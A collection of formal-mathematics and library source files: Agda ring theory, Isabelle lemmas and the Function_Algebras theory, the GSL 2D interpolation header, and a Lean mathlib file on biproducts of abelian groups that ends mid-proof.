·-ldist-+ : (x y z : R) → (x + y) · z ≡ (x · z) + (y · z)
·-ldist-+ x y z = dist x y z .snd
-- TODO: prove these somewhere
-- zero-lid : (x : R) → 0r · x ≡ 0r
-- zero-lid x = zero x .snd
-- zero-rid : (x : R) → x · 0r ≡ 0r
-- zero-rid x = zero x .fst
record Ring : Type (ℓ-suc ℓ) where
constructor ring
field
Carrier : Type ℓ
0r : Carrier
1r : Carrier
_+_ : Carrier → Carrier → Carrier
_·_ : Carrier → Carrier → Carrier
-_ : Carrier → Carrier
isRing : IsRing 0r 1r _+_ _·_ -_
infix 8 -_
infixl 7 _·_
infixl 6 _+_
open IsRing isRing public
-- Extractor for the carrier type
⟨_⟩ : Ring → Type ℓ
⟨_⟩ = Ring.Carrier
isSetRing : (R : Ring {ℓ}) → isSet ⟨ R ⟩
isSetRing R = R .Ring.isRing .IsRing.·-isMonoid .IsMonoid.isSemigroup .IsSemigroup.is-set
makeIsRing : {R : Type ℓ} {0r 1r : R} {_+_ _·_ : R → R → R} { -_ : R → R}
(is-setR : isSet R)
(+-assoc : (x y z : R) → x + (y + z) ≡ (x + y) + z)
(+-rid : (x : R) → x + 0r ≡ x)
(+-rinv : (x : R) → x + (- x) ≡ 0r)
(+-comm : (x y : R) → x + y ≡ y + x)
(+-assoc : (x y z : R) → x · (y · z) ≡ (x · y) · z)
(·-rid : (x : R) → x · 1r ≡ x)
(·-lid : (x : R) → 1r · x ≡ x)
(·-rdist-+ : (x y z : R) → x · (y + z) ≡ (x · y) + (x · z))
(·-ldist-+ : (x y z : R) → (x + y) · z ≡ (x · z) + (y · z))
→ IsRing 0r 1r _+_ _·_ -_
makeIsRing is-setR assoc +-rid +-rinv +-comm ·-assoc ·-rid ·-lid ·-rdist-+ ·-ldist-+ =
isring (makeIsAbGroup is-setR assoc +-rid +-rinv +-comm)
(makeIsMonoid is-setR ·-assoc ·-rid ·-lid)
λ x y z → ·-rdist-+ x y z , ·-ldist-+ x y z
makeRing : {R : Type ℓ} (0r 1r : R) (_+_ _·_ : R → R → R) (-_ : R → R)
(is-setR : isSet R)
(+-assoc : (x y z : R) → x + (y + z) ≡ (x + y) + z)
(+-rid : (x : R) → x + 0r ≡ x)
(+-rinv : (x : R) → x + (- x) ≡ 0r)
(+-comm : (x y : R) → x + y ≡ y + x)
(+-assoc : (x y z : R) → x · (y · z) ≡ (x · y) · z)
(·-rid : (x : R) → x · 1r ≡ x)
(·-lid : (x : R) → 1r · x ≡ x)
(·-rdist-+ : (x y z : R) → x · (y + z) ≡ (x · y) + (x · z))
(·-ldist-+ : (x y z : R) → (x + y) · z ≡ (x · z) + (y · z))
→ Ring
makeRing 0r 1r _+_ _·_ -_ is-setR assoc +-rid +-rinv +-comm ·-assoc ·-rid ·-lid ·-rdist-+ ·-ldist-+ =
ring _ 0r 1r _+_ _·_ -_
(makeIsRing is-setR assoc +-rid +-rinv +-comm
·-assoc ·-rid ·-lid ·-rdist-+ ·-ldist-+ )
record RingEquiv (R S : Ring {ℓ}) : Type ℓ where
constructor ringequiv
private
module R = Ring R
module S = Ring S
field
e : ⟨ R ⟩ ≃ ⟨ S ⟩
pres1 : equivFun e R.1r ≡ S.1r
isHom+ : (x y : ⟨ R ⟩) → equivFun e (x R.+ y) ≡ equivFun e x S.+ equivFun e y
isHom· : (x y : ⟨ R ⟩) → equivFun e (x R.· y) ≡ equivFun e x S.· equivFun e y
module RingΣTheory {ℓ} where
open Macro ℓ (recvar (recvar var) , var , recvar (recvar var)) public renaming
( structure to RawRingStructure
; equiv to RawRingEquivStr
; univalent to rawRingUnivalentStr )
RingAxioms : (R : Type ℓ) (s : RawRingStructure R) → Type ℓ
RingAxioms R (_+_ , 1r , _·_) =
AbGroupΣTheory.AbGroupAxioms R _+_
× IsMonoid 1r _·_
× ((x y z : R) → (x · (y + z) ≡ (x · y) + (x · z)) × ((x + y) · z ≡ (x · z) + (y · z)))
RingStructure : Type ℓ → Type ℓ
RingStructure = AxiomsStructure RawRingStructure RingAxioms
RingΣ : Type (ℓ-suc ℓ)
RingΣ = TypeWithStr ℓ RingStructure
RingEquivStr : StrEquiv RingStructure ℓ
RingEquivStr = AxiomsEquivStr RawRingEquivStr RingAxioms
isPropRingAxioms : (R : Type ℓ) (s : RawRingStructure R) → isProp (RingAxioms R s)
isPropRingAxioms R (_+_ , 1r , _·_) =
isProp× (AbGroupΣTheory.isPropAbGroupAxioms R _+_)
(isPropΣ (isPropIsMonoid 1r _·_)
λ R → isPropΠ3 λ _ _ _ →
isProp× (IsSemigroup.is-set (R .IsMonoid.isSemigroup) _ _)
(IsSemigroup.is-set (R .IsMonoid.isSemigroup) _ _))
Ring→RingΣ : Ring → RingΣ
Ring→RingΣ (ring R 0r 1r _+_ _·_ -_ (isring +-isAbelianGroup ·-isMonoid dist)) =
( R
, (_+_ , 1r , _·_)
, AbGroupΣTheory.AbGroup→AbGroupΣ (abgroup _ _ _ _ +-isAbelianGroup) .snd .snd
, ·-isMonoid , dist
)
RingΣ→Ring : RingΣ → Ring
RingΣ→Ring (_ , (y1 , y2 , y3) , z , w1 , w2) =
ring _ _ y2 y1 y3 _
(isring (AbGroupΣTheory.AbGroupΣ→AbGroup (_ , _ , z ) .AbGroup.isAbGroup)
w1 w2)
RingIsoRingΣ : Iso Ring RingΣ
RingIsoRingΣ = iso Ring→RingΣ RingΣ→Ring (λ _ → refl) (λ _ → refl)
ringUnivalentStr : UnivalentStr RingStructure RingEquivStr
ringUnivalentStr = axiomsUnivalentStr _ isPropRingAxioms rawRingUnivalentStr
RingΣPath : (R S : RingΣ) → (R ≃[ RingEquivStr ] S) ≃ (R ≡ S)
RingΣPath = SIP ringUnivalentStr
RingEquivΣ : (R S : Ring) → Type ℓ
RingEquivΣ R S = Ring→RingΣ R ≃[ RingEquivStr ] Ring→RingΣ S
RingIsoΣPath : {R S : Ring} → Iso (RingEquiv R S) (RingEquivΣ R S)
fun RingIsoΣPath (ringequiv e h1 h2 h3) = e , h2 , h1 , h3
inv RingIsoΣPath (e , h1 , h2 , h3) = ringequiv e h2 h1 h3
rightInv RingIsoΣPath _ = refl
leftInv RingIsoΣPath _ = refl
RingPath : (R S : Ring) → (RingEquiv R S) ≃ (R ≡ S)
RingPath R S =
RingEquiv R S ≃⟨ isoToEquiv RingIsoΣPath ⟩
RingEquivΣ R S ≃⟨ RingΣPath _ _ ⟩
Ring→RingΣ R ≡ Ring→RingΣ S ≃⟨ isoToEquiv (invIso (congIso RingIsoRingΣ)) ⟩
R ≡ S ■
RingPath : (R S : Ring {ℓ}) → (RingEquiv R S) ≃ (R ≡ S)
RingPath = RingΣTheory.RingPath
isPropIsRing : {R : Type ℓ} (0r 1r : R) (_+_ _·_ : R → R → R) (-_ : R → R)
→ isProp (IsRing 0r 1r _+_ _·_ -_)
isPropIsRing 0r 1r _+_ _·_ -_ (isring RG RM RD) (isring SG SM SD) =
λ i → isring (isPropIsAbGroup _ _ _ RG SG i)
(isPropIsMonoid _ _ RM SM i)
(isPropDistr RD SD i)
where
isSetR : isSet _
isSetR = RM .IsMonoid.isSemigroup .IsSemigroup.is-set
isPropDistr : isProp ((x y z : _) → ((x · (y + z)) ≡ ((x · y) + (x · z)))
× (((x + y) · z) ≡ ((x · z) + (y · z))))
isPropDistr = isPropΠ3 λ _ _ _ → isProp× (isSetR _ _) (isSetR _ _)
-- Rings have an abelian group and a monoid
Ring→AbGroup : Ring {ℓ} → AbGroup {ℓ}
Ring→AbGroup (ring _ _ _ _ _ _ R) = abgroup _ _ _ _ (IsRing.+-isAbGroup R)
Ring→Monoid : Ring {ℓ} → Monoid {ℓ}
Ring→Monoid (ring _ _ _ _ _ _ R) = monoid _ _ _ (IsRing.·-isMonoid R)
{-
some basic calculations (used for example in QuotientRing.agda),
that might should become obsolete or subject to change once we
have a ring solver (see https://github.com/agda/cubical/issues/297)
-}
module Theory (R : Ring {ℓ}) where
open Ring R
implicitInverse : (x y : ⟨ R ⟩)
→ x + y ≡ 0r
→ y ≡ - x
implicitInverse x y p =
y ≡⟨ sym (+-lid y) ⟩
0r + y ≡⟨ cong (λ u → u + y) (sym (+-linv x)) ⟩
(- x + x) + y ≡⟨ sym (+-assoc _ _ _) ⟩
(- x) + (x + y) ≡⟨ cong (λ u → (- x) + u) p ⟩
(- x) + 0r ≡⟨ +-rid _ ⟩
- x ∎
0-selfinverse : - 0r ≡ 0r
0-selfinverse = sym (implicitInverse _ _ (+-rid 0r))
0-idempotent : 0r + 0r ≡ 0r
0-idempotent = +-lid 0r
+-idempotency→0 : (x : ⟨ R ⟩) → x ≡ x + x → 0r ≡ x
+-idempotency→0 x p =
0r ≡⟨ sym (+-rinv _) ⟩
x + (- x) ≡⟨ cong (λ u → u + (- x)) p ⟩
(x + x) + (- x) ≡⟨ sym (+-assoc _ _ _) ⟩
x + (x + (- x)) ≡⟨ cong (λ u → x + u) (+-rinv _) ⟩
x + 0r ≡⟨ +-rid x ⟩
x ∎
0-rightNullifies : (x : ⟨ R ⟩) → x · 0r ≡ 0r
0-rightNullifies x =
let x·0-is-idempotent : x · 0r ≡ x · 0r + x · 0r
x·0-is-idempotent =
x · 0r ≡⟨ cong (λ u → x · u) (sym 0-idempotent) ⟩
x · (0r + 0r) ≡⟨ ·-rdist-+ _ _ _ ⟩
(x · 0r) + (x · 0r) ∎
in sym (+-idempotency→0 _ x·0-is-idempotent)
0-leftNullifies : (x : ⟨ R ⟩) → 0r · x ≡ 0r
0-leftNullifies x =
let 0·x-is-idempotent : 0r · x ≡ 0r · x + 0r · x
0·x-is-idempotent =
0r · x ≡⟨ cong (λ u → u · x) (sym 0-idempotent) ⟩
(0r + 0r) · x ≡⟨ ·-ldist-+ _ _ _ ⟩
(0r · x) + (0r · x) ∎
in sym (+-idempotency→0 _ 0·x-is-idempotent)
-commutesWithRight-· : (x y : ⟨ R ⟩) → x · (- y) ≡ - (x · y)
-commutesWithRight-· x y = implicitInverse (x · y) (x · (- y))
(x · y + x · (- y) ≡⟨ sym (·-rdist-+ _ _ _) ⟩
x · (y + (- y)) ≡⟨ cong (λ u → x · u) (+-rinv y) ⟩
x · 0r ≡⟨ 0-rightNullifies x ⟩
0r ∎)
-commutesWithLeft-· : (x y : ⟨ R ⟩) → (- x) · y ≡ - (x · y)
-commutesWithLeft-· x y = implicitInverse (x · y) ((- x) · y)
(x · y + (- x) · y ≡⟨ sym (·-ldist-+ _ _ _) ⟩
(x - x) · y ≡⟨ cong (λ u → u · y) (+-rinv x) ⟩
0r · y ≡⟨ 0-leftNullifies y ⟩
0r ∎)
-isDistributive : (x y : ⟨ R ⟩) → (- x) + (- y) ≡ - (x + y)
-isDistributive x y =
implicitInverse _ _
((x + y) + ((- x) + (- y)) ≡⟨ sym (+-assoc _ _ _) ⟩
x + (y + ((- x) + (- y))) ≡⟨ cong
(λ u → x + (y + u))
(+-comm _ _) ⟩
x + (y + ((- y) + (- x))) ≡⟨ cong (λ u → x + u) (+-assoc _ _ _) ⟩
x + ((y + (- y)) + (- x)) ≡⟨ cong (λ u → x + (u + (- x)))
(+-rinv _) ⟩
x + (0r + (- x)) ≡⟨ cong (λ u → x + u) (+-lid _) ⟩
x + (- x) ≡⟨ +-rinv _ ⟩
0r ∎)
translatedDifference : (x a b : ⟨ R ⟩) → a - b ≡ (x + a) - (x + b)
translatedDifference x a b =
a - b ≡⟨ cong (λ u → a + u)
(sym (+-lid _)) ⟩
(a + (0r + (- b))) ≡⟨ cong (λ u → a + (u + (- b)))
(sym (+-rinv _)) ⟩
(a + ((x + (- x)) + (- b))) ≡⟨ cong (λ u → a + u)
(sym (+-assoc _ _ _)) ⟩
(a + (x + ((- x) + (- b)))) ≡⟨ (+-assoc _ _ _) ⟩
((a + x) + ((- x) + (- b))) ≡⟨ cong (λ u → u + ((- x) + (- b)))
(+-comm _ _) ⟩
((x + a) + ((- x) + (- b))) ≡⟨ cong (λ u → (x + a) + u)
(-isDistributive _ _) ⟩
((x + a) - (x + b)) ∎
|
Formal statement is: lemma convex_halfspace_Re_lt: "convex {x. Re x < b}" Informal statement is: The set of complex numbers with real part less than $b$ is convex. |
[STATEMENT]
lemma tendsto_inverse_0_at_top: "LIM x F. f x :> at_top \<Longrightarrow> ((\<lambda>x. inverse (f x) :: real) \<longlongrightarrow> 0) F"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. filterlim f at_top F \<Longrightarrow> ((\<lambda>x. inverse (f x)) \<longlongrightarrow> 0) F
[PROOF STEP]
by (metis filterlim_at filterlim_mono[OF _ at_top_le_at_infinity order_refl] filterlim_inverse_at_iff) |
/* interpolation/gsl_interp2d.h
*
* Copyright 2012 David Zaslavsky
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef __GSL_INTERP2D_H__
#define __GSL_INTERP2D_H__
#if !defined( GSL_FUN )
# if !defined( GSL_DLL )
# define GSL_FUN extern
# elif defined( BUILD_GSL_DLL )
# define GSL_FUN extern __declspec(dllexport)
# else
# define GSL_FUN extern __declspec(dllimport)
# endif
#endif
#include <gsl/gsl_interp.h>
#undef __BEGIN_DECLS
#undef __END_DECLS
#ifdef __cplusplus
# define __BEGIN_DECLS extern "C" {
# define __END_DECLS }
#else
# define __BEGIN_DECLS /* empty */
# define __END_DECLS /* empty */
#endif
__BEGIN_DECLS
typedef struct {
const char* name;
unsigned int min_size;
void * (*alloc)(size_t xsize, size_t ysize);
int (*init)(void *, const double xa[], const double ya[], const double za[], size_t xsize, size_t ysize);
int (*eval)(const void *, const double xa[], const double ya[], const double za[], size_t xsize, size_t ysize, double x, double y, gsl_interp_accel*, gsl_interp_accel*, double* z);
int (*eval_deriv_x) (const void *, const double xa[], const double ya[], const double za[], size_t xsize, size_t ysize, double x, double y, gsl_interp_accel*, gsl_interp_accel*, double* z_p);
int (*eval_deriv_y) (const void *, const double xa[], const double ya[], const double za[], size_t xsize, size_t ysize, double x, double y, gsl_interp_accel*, gsl_interp_accel*, double* z_p);
int (*eval_deriv_xx) (const void *, const double xa[], const double ya[], const double za[], size_t xsize, size_t ysize, double x, double y, gsl_interp_accel*, gsl_interp_accel*, double* z_pp);
int (*eval_deriv_xy) (const void *, const double xa[], const double ya[], const double za[], size_t xsize, size_t ysize, double x, double y, gsl_interp_accel*, gsl_interp_accel*, double* z_pp);
int (*eval_deriv_yy) (const void *, const double xa[], const double ya[], const double za[], size_t xsize, size_t ysize, double x, double y, gsl_interp_accel*, gsl_interp_accel*, double* z_pp);
void (*free)(void *);
} gsl_interp2d_type;
typedef struct {
const gsl_interp2d_type * type; /* interpolation type */
double xmin; /* minimum value of x for which data have been provided */
double xmax; /* maximum value of x for which data have been provided */
double ymin; /* minimum value of y for which data have been provided */
double ymax; /* maximum value of y for which data have been provided */
size_t xsize; /* number of x values provided */
size_t ysize; /* number of y values provided */
void * state; /* internal state object specific to the interpolation type */
} gsl_interp2d;
/* available types */
GSL_VAR const gsl_interp2d_type * gsl_interp2d_bilinear;
GSL_VAR const gsl_interp2d_type * gsl_interp2d_bicubic;
GSL_FUN gsl_interp2d * gsl_interp2d_alloc(const gsl_interp2d_type * T, const size_t xsize,
const size_t ysize);
GSL_FUN const char * gsl_interp2d_name(const gsl_interp2d * interp);
GSL_FUN size_t gsl_interp2d_min_size(const gsl_interp2d * interp);
GSL_FUN size_t gsl_interp2d_type_min_size(const gsl_interp2d_type * T);
GSL_FUN int gsl_interp2d_set(const gsl_interp2d * interp, double zarr[],
const size_t i, const size_t j, const double z);
GSL_FUN double gsl_interp2d_get(const gsl_interp2d * interp, const double zarr[],
const size_t i, const size_t j);
GSL_FUN size_t gsl_interp2d_idx(const gsl_interp2d * interp,
const size_t i, const size_t j);
GSL_FUN int gsl_interp2d_init(gsl_interp2d * interp, const double xa[], const double ya[],
const double za[], const size_t xsize, const size_t ysize);
GSL_FUN void gsl_interp2d_free(gsl_interp2d * interp);
GSL_FUN double gsl_interp2d_eval(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[], const double x,
const double y, gsl_interp_accel * xa, gsl_interp_accel * ya);
GSL_FUN double gsl_interp2d_eval_extrap(const gsl_interp2d * interp,
const double xarr[], const double yarr[],
const double zarr[], const double x,
const double y, gsl_interp_accel * xa,
gsl_interp_accel * ya);
GSL_FUN int gsl_interp2d_eval_e(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y, gsl_interp_accel* xa,
gsl_interp_accel* ya, double * z);
#ifndef GSL_DISABLE_DEPRECATED
GSL_FUN int gsl_interp2d_eval_e_extrap(const gsl_interp2d * interp,
const double xarr[],
const double yarr[],
const double zarr[],
const double x,
const double y,
gsl_interp_accel * xa,
gsl_interp_accel * ya,
double * z);
#endif /* !GSL_DISABLE_DEPRECATED */
GSL_FUN int gsl_interp2d_eval_extrap_e(const gsl_interp2d * interp,
const double xarr[],
const double yarr[],
const double zarr[],
const double x,
const double y,
gsl_interp_accel * xa,
gsl_interp_accel * ya,
double * z);
GSL_FUN double gsl_interp2d_eval_deriv_x(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y, gsl_interp_accel * xa,
gsl_interp_accel * ya);
GSL_FUN int gsl_interp2d_eval_deriv_x_e(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel * xa, gsl_interp_accel * ya, double * z);
GSL_FUN double gsl_interp2d_eval_deriv_y(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel* xa, gsl_interp_accel* ya);
GSL_FUN int gsl_interp2d_eval_deriv_y_e(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel * xa, gsl_interp_accel * ya, double * z);
GSL_FUN double gsl_interp2d_eval_deriv_xx(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel * xa, gsl_interp_accel * ya);
GSL_FUN int gsl_interp2d_eval_deriv_xx_e(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel * xa, gsl_interp_accel * ya, double * z);
GSL_FUN double gsl_interp2d_eval_deriv_yy(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel * xa, gsl_interp_accel * ya);
GSL_FUN int gsl_interp2d_eval_deriv_yy_e(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel * xa, gsl_interp_accel * ya, double * z);
GSL_FUN double gsl_interp2d_eval_deriv_xy(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel * xa, gsl_interp_accel * ya);
GSL_FUN int gsl_interp2d_eval_deriv_xy_e(const gsl_interp2d * interp, const double xarr[],
const double yarr[], const double zarr[],
const double x, const double y,
gsl_interp_accel * xa, gsl_interp_accel * ya, double * z);
__END_DECLS
#endif /* __GSL_INTERP2D_H__ */
|
(* Title: HOL/Library/Function_Algebras.thy
Author: Jeremy Avigad and Kevin Donnelly; Florian Haftmann, TUM
*)
section \<open>Pointwise instantiation of functions to algebra type classes\<close>
theory Function_Algebras
imports MainRLT
begin
text \<open>Pointwise operations\<close>
instantiation "fun" :: (type, plus) plus
begin
definition "f + g = (\<lambda>x. f x + g x)"
instance ..
end
lemma plus_fun_apply [simp]:
"(f + g) x = f x + g x"
by (simp add: plus_fun_def)
instantiation "fun" :: (type, zero) zero
begin
definition "0 = (\<lambda>x. 0)"
instance ..
end
lemma zero_fun_apply [simp]:
"0 x = 0"
by (simp add: zero_fun_def)
instantiation "fun" :: (type, times) times
begin
definition "f * g = (\<lambda>x. f x * g x)"
instance ..
end
lemma times_fun_apply [simp]:
"(f * g) x = f x * g x"
by (simp add: times_fun_def)
instantiation "fun" :: (type, one) one
begin
definition "1 = (\<lambda>x. 1)"
instance ..
end
lemma one_fun_apply [simp]:
"1 x = 1"
by (simp add: one_fun_def)
text \<open>Additive structures\<close>
instance "fun" :: (type, semigroup_add) semigroup_add
by standard (simp add: fun_eq_iff add.assoc)
instance "fun" :: (type, cancel_semigroup_add) cancel_semigroup_add
by standard (simp_all add: fun_eq_iff)
instance "fun" :: (type, ab_semigroup_add) ab_semigroup_add
by standard (simp add: fun_eq_iff add.commute)
instance "fun" :: (type, cancel_ab_semigroup_add) cancel_ab_semigroup_add
by standard (simp_all add: fun_eq_iff diff_diff_eq)
instance "fun" :: (type, monoid_add) monoid_add
by standard (simp_all add: fun_eq_iff)
instance "fun" :: (type, comm_monoid_add) comm_monoid_add
by standard simp
instance "fun" :: (type, cancel_comm_monoid_add) cancel_comm_monoid_add ..
instance "fun" :: (type, group_add) group_add
by standard (simp_all add: fun_eq_iff)
instance "fun" :: (type, ab_group_add) ab_group_add
by standard simp_all
text \<open>Multiplicative structures\<close>
instance "fun" :: (type, semigroup_mult) semigroup_mult
by standard (simp add: fun_eq_iff mult.assoc)
instance "fun" :: (type, ab_semigroup_mult) ab_semigroup_mult
by standard (simp add: fun_eq_iff mult.commute)
instance "fun" :: (type, monoid_mult) monoid_mult
by standard (simp_all add: fun_eq_iff)
instance "fun" :: (type, comm_monoid_mult) comm_monoid_mult
by standard simp
text \<open>Misc\<close>
instance "fun" :: (type, "Rings.dvd") "Rings.dvd" ..
instance "fun" :: (type, mult_zero) mult_zero
by standard (simp_all add: fun_eq_iff)
instance "fun" :: (type, zero_neq_one) zero_neq_one
by standard (simp add: fun_eq_iff)
text \<open>Ring structures\<close>
instance "fun" :: (type, semiring) semiring
by standard (simp_all add: fun_eq_iff algebra_simps)
instance "fun" :: (type, comm_semiring) comm_semiring
by standard (simp add: fun_eq_iff algebra_simps)
instance "fun" :: (type, semiring_0) semiring_0 ..
instance "fun" :: (type, comm_semiring_0) comm_semiring_0 ..
instance "fun" :: (type, semiring_0_cancel) semiring_0_cancel ..
instance "fun" :: (type, comm_semiring_0_cancel) comm_semiring_0_cancel ..
instance "fun" :: (type, semiring_1) semiring_1 ..
lemma numeral_fun: \<^marker>\<open>contributor \<open>Akihisa Yamada\<close>\<close>
\<open>numeral n = (\<lambda>x::'a. numeral n)\<close>
by (induction n) (simp_all only: numeral.simps plus_fun_def, simp_all)
lemma numeral_fun_apply [simp]: \<^marker>\<open>contributor \<open>Akihisa Yamada\<close>\<close>
\<open>numeral n x = numeral n\<close>
by (simp add: numeral_fun)
lemma of_nat_fun: "of_nat n = (\<lambda>x::'a. of_nat n)"
proof -
have comp: "comp = (\<lambda>f g x. f (g x))"
by (rule ext)+ simp
have plus_fun: "plus = (\<lambda>f g x. f x + g x)"
by (rule ext, rule ext) (fact plus_fun_def)
have "of_nat n = (comp (plus (1::'b)) ^^ n) (\<lambda>x::'a. 0)"
by (simp add: of_nat_def plus_fun zero_fun_def one_fun_def comp)
also have "... = comp ((plus 1) ^^ n) (\<lambda>x::'a. 0)"
by (simp only: comp_funpow)
finally show ?thesis by (simp add: of_nat_def comp)
qed
lemma of_nat_fun_apply [simp]:
"of_nat n x = of_nat n"
by (simp add: of_nat_fun)
instance "fun" :: (type, comm_semiring_1) comm_semiring_1 ..
instance "fun" :: (type, semiring_1_cancel) semiring_1_cancel ..
instance "fun" :: (type, comm_semiring_1_cancel) comm_semiring_1_cancel
by standard (auto simp add: times_fun_def algebra_simps)
instance "fun" :: (type, semiring_char_0) semiring_char_0
proof
from inj_of_nat have "inj (\<lambda>n (x::'a). of_nat n :: 'b)"
by (rule inj_fun)
then have "inj (\<lambda>n. of_nat n :: 'a \<Rightarrow> 'b)"
by (simp add: of_nat_fun)
then show "inj (of_nat :: nat \<Rightarrow> 'a \<Rightarrow> 'b)" .
qed
instance "fun" :: (type, ring) ring ..
instance "fun" :: (type, comm_ring) comm_ring ..
instance "fun" :: (type, ring_1) ring_1 ..
instance "fun" :: (type, comm_ring_1) comm_ring_1 ..
instance "fun" :: (type, ring_char_0) ring_char_0 ..
text \<open>Ordered structures\<close>
instance "fun" :: (type, ordered_ab_semigroup_add) ordered_ab_semigroup_add
by standard (auto simp add: le_fun_def intro: add_left_mono)
instance "fun" :: (type, ordered_cancel_ab_semigroup_add) ordered_cancel_ab_semigroup_add ..
instance "fun" :: (type, ordered_ab_semigroup_add_imp_le) ordered_ab_semigroup_add_imp_le
by standard (simp add: le_fun_def)
instance "fun" :: (type, ordered_comm_monoid_add) ordered_comm_monoid_add ..
instance "fun" :: (type, ordered_cancel_comm_monoid_add) ordered_cancel_comm_monoid_add ..
instance "fun" :: (type, ordered_ab_group_add) ordered_ab_group_add ..
instance "fun" :: (type, ordered_semiring) ordered_semiring
by standard (auto simp add: le_fun_def intro: mult_left_mono mult_right_mono)
instance "fun" :: (type, dioid) dioid
proof standard
fix a b :: "'a \<Rightarrow> 'b"
show "a \<le> b \<longleftrightarrow> (\<exists>c. b = a + c)"
unfolding le_fun_def plus_fun_def fun_eq_iff choice_iff[symmetric, of "\<lambda>x c. b x = a x + c"]
by (intro arg_cong[where f=All] ext canonically_ordered_monoid_add_class.le_iff_add)
qed
instance "fun" :: (type, ordered_comm_semiring) ordered_comm_semiring
by standard (fact mult_left_mono)
instance "fun" :: (type, ordered_cancel_semiring) ordered_cancel_semiring ..
instance "fun" :: (type, ordered_cancel_comm_semiring) ordered_cancel_comm_semiring ..
instance "fun" :: (type, ordered_ring) ordered_ring ..
instance "fun" :: (type, ordered_comm_ring) ordered_comm_ring ..
lemmas func_plus = plus_fun_def
lemmas func_zero = zero_fun_def
lemmas func_times = times_fun_def
lemmas func_one = one_fun_def
end
|
/-
Copyright (c) 2020 Scott Morrison. All rights reserved.
Released under Apache 2.0 license as described in the file LICENSE.
Authors: Scott Morrison
-/
import algebra.group.pi
import algebra.category.Group.preadditive
import category_theory.limits.shapes.biproducts
import algebra.category.Group.limits
/-!
# The category of abelian groups has finite biproducts
-/
open category_theory
open category_theory.limits
open_locale big_operators
universes w u
namespace AddCommGroup
-- As `AddCommGroup` is preadditive, and has all limits, it automatically has biproducts.
instance : has_binary_biproducts AddCommGroup :=
has_binary_biproducts.of_has_binary_products
instance : has_finite_biproducts AddCommGroup :=
has_finite_biproducts.of_has_finite_products
-- We now construct explicit limit data,
-- so we can compare the biproducts to the usual unbundled constructions.
/--
Construct limit data for a binary product in `AddCommGroup`, using `AddCommGroup.of (G × H)`.
-/
@[simps cone_X is_limit_lift]
def binary_product_limit_cone (G H : AddCommGroup.{u}) : limits.limit_cone (pair G H) :=
{ cone :=
{ X := AddCommGroup.of (G × H),
π := { app := λ j, discrete.cases_on j
(λ j, walking_pair.cases_on j (add_monoid_hom.fst G H) (add_monoid_hom.snd G H)),
naturality' := by rintros ⟨⟨⟩⟩ ⟨⟨⟩⟩ ⟨⟨⟨⟩⟩⟩; refl, }},
is_limit :=
{ lift := λ s, add_monoid_hom.prod (s.π.app ⟨walking_pair.left⟩) (s.π.app ⟨walking_pair.right⟩),
fac' := by { rintros s (⟨⟩|⟨⟩); { ext x, simp, } },
uniq' := λ s m w, begin
ext; [rw ← w ⟨walking_pair.left⟩, rw ← w ⟨walking_pair.right⟩]; refl,
end, } }
@[simp] lemma binary_product_limit_cone_cone_π_app_left (G H : AddCommGroup.{u}) :
(binary_product_limit_cone G H).cone.π.app ⟨walking_pair.left⟩ = add_monoid_hom.fst G H := rfl
@[simp] lemma binary_product_limit_cone_cone_π_app_right (G H : AddCommGroup.{u}) :
(binary_product_limit_cone G H).cone.π.app ⟨walking_pair.right⟩ = add_monoid_hom.snd G H := rfl
/--
We verify that the biproduct in AddCommGroup is isomorphic to
the cartesian product of the underlying types:
-/
@[simps hom_apply] noncomputable
def biprod_iso_prod (G H : AddCommGroup.{u}) : (G ⊞ H : AddCommGroup) ≅ AddCommGroup.of (G × H) :=
is_limit.cone_point_unique_up_to_iso
(binary_biproduct.is_limit G H)
(binary_product_limit_cone G H).is_limit
@[simp, elementwise] lemma biprod_iso_prod_inv_comp_fst (G H : AddCommGroup.{u}) :
(biprod_iso_prod G H).inv ≫ biprod.fst = add_monoid_hom.fst G H :=
is_limit.cone_point_unique_up_to_iso_inv_comp _ _ (discrete.mk walking_pair.left)
@[simp, elementwise] lemma biprod_iso_prod_inv_comp_snd (G H : AddCommGroup.{u}) :
(biprod_iso_prod G H).inv ≫ biprod.snd = add_monoid_hom.snd G H :=
is_limit.cone_point_unique_up_to_iso_inv_comp _ _ (discrete.mk walking_pair.right)
namespace has_limit
variables {J : Type w} (f : J → AddCommGroup.{max w u})
/--
The map from an arbitrary cone over a indexed family of abelian groups
to the cartesian product of those groups.
-/
@[simps]
def lift (s : fan f) :
s.X ⟶ AddCommGroup.of (Π j,f j) :=
{ to_fun := λ x j, s.π.app ⟨j⟩ x,
map_zero' := by { ext, simp },
map_add' := λ x y, by { ext, simp }, }
/--
Construct limit data for a product in `AddCommGroup`, using `AddCommGroup.of (Π j, F.obj j)`.
-/
@[simps] def product_limit_cone : limits.limit_cone (discrete.functor f) :=
{ cone :=
{ X := AddCommGroup.of (Π j, f j),
π := discrete.nat_trans (λ j, pi.eval_add_monoid_hom (λ j, f j) j.as), },
is_limit :=
{ lift := lift f,
fac' := λ s j, by { cases j, ext, simp, },
uniq' := λ s m w,
begin
ext x j,
